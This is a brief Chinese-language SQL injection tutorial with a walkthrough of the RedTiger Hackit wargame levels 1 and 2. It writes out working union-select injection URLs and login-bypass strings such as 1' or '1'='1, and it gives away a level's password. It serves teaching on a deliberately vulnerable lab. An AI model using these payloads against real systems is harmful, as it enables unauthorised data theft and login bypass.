Sql注入
介绍
Sql注入指的是通过构建特殊的数据查询语句 作为参数传入Web应用程序,通过数据库执行SQL语句来非法获取数据过程。
其主要原因是开发者/建站商写代码时,对用户提交的数据没有做细致的过滤或者判断,导致用户输入的非法参数拼接在原来的查询语句后直接带入数据库查询。
产生条件:
1.存在数据交互;
2.用户可以自由控制输入的参数;
3.原本程序要执行的代码后拼接了用户输入的数据后执行;
前言
靶场推荐:sqli-labs,RedTiger's Hackit
0x01
根据提示得到信息:用户 Hronoxe,表 level1_users
1.点击“Category: 1” ,url发生变化 http://redtiger.labs.overthewire.org/level1.php?cat=1 发现传参点cat
2.使用and语句判断:
and 1=1没有变化,and 1=2 返回其他信息,存在数字型注入。
https://redtiger.labs.overthewire.org/level1.php?cat=1 and 1=2
3.使用order by探测列数为4,且回显点在3,4
https://redtiger.labs.overthewire.org/level1.php?cat=1 order by 4 --+
https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,3,4 --+
4.根据页面提示信息构造payload: cat=-1 union select 1,2,3,password from level1_users limit 1 --+ ,得到密码 thatwaseasy,登录即可
0x02
登录框类型注入
方法一:在username构造万能密码1' or 1=1 # 随意输入密码后发现无效,再次尝试Password栏输入万能密码 登录成功
方法二:密码处输入 1' or '1'='1 ,如果密码处为password='' 那么加入万能密码后就变成 password= '1' or '1'='1'
方法三:密码栏输入1’or ' 1=1